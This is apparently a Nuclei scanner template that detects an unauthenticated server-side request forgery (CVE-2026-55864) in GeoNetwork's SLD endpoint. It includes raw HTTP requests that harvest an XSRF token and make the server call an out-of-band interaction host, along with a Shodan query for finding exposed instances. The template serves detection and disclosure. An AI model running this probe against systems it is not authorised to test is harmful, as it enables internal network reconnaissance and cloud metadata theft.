CVE-2026-55864: GeoNetwork - Server-Side Request Forgery (SSRF)

id: CVE-2026-55864

info:
  name: GeoNetwork - Server-Side Request Forgery (SSRF)
  author: ashish-cybersec
  severity: high
  description: |
    GeoNetwork versions 4.0.0 to 4.2.16 and 4.4.0 to 4.4.11 are vulnerable to an unauthenticated server-side request forgery (SSRF) in the SLD tool. The POST /srv/api/tools/ogc/sld endpoint accepts a caller-supplied WMS server URL and performs a server-side HTTP GetStyles request to it without any validation, allowing an anonymous attacker to make the server issue arbitrary outbound HTTP requests to internal services and read XML responses back.
  impact: |
    An unauthenticated attacker can coerce the GeoNetwork server into sending HTTP requests to internal hosts, enabling internal service interaction, cloud metadata access, and reconnaissance of the internal network from an anonymous position.
  remediation: |
    Upgrade GeoNetwork to version 4.2.17, 4.4.12, or later.
  reference:
    - https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-5hx7-j24v-rffj
    - https://github.com/geonetwork/core-geonetwork/pull/9343
    - https://nvd.nist.gov/vuln/detail/CVE-2026-55864
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-55864
    epss-score: 0.01446
    epss-percentile: 0.73482
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 2
    vendor: geonetwork
    product: core-geonetwork
    framework: java
    shodan-query: html:"/srv/eng/"
  tags: cve,cve2026,geonetwork,ssrf,oast,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /srv/eng/catalog.search HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: xsrf
        part: header
        internal: true
        group: 1
        regex:
          - 'XSRF-TOKEN=([0-9a-f-]+)'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ng-app="gn_search'
          - '/geonetwork/static/'
        condition: and
        internal: true

      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        POST /srv/api/tools/ogc/sld HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: text/plain
        Cookie: XSRF-TOKEN={{xsrf}}
        X-XSRF-TOKEN: {{xsrf}}

        url=http://{{interactsh-url}}&layers=nuclei&filters={}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 490a0046304402201627dfc63dc53baf6aeae9e4dd5704f488d28c3a1e485c4c1ea656220bbfee1e02206378b31defb84aeccd2e71894c1dcd32c296b98652bdf57c38e44bd6913583df:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.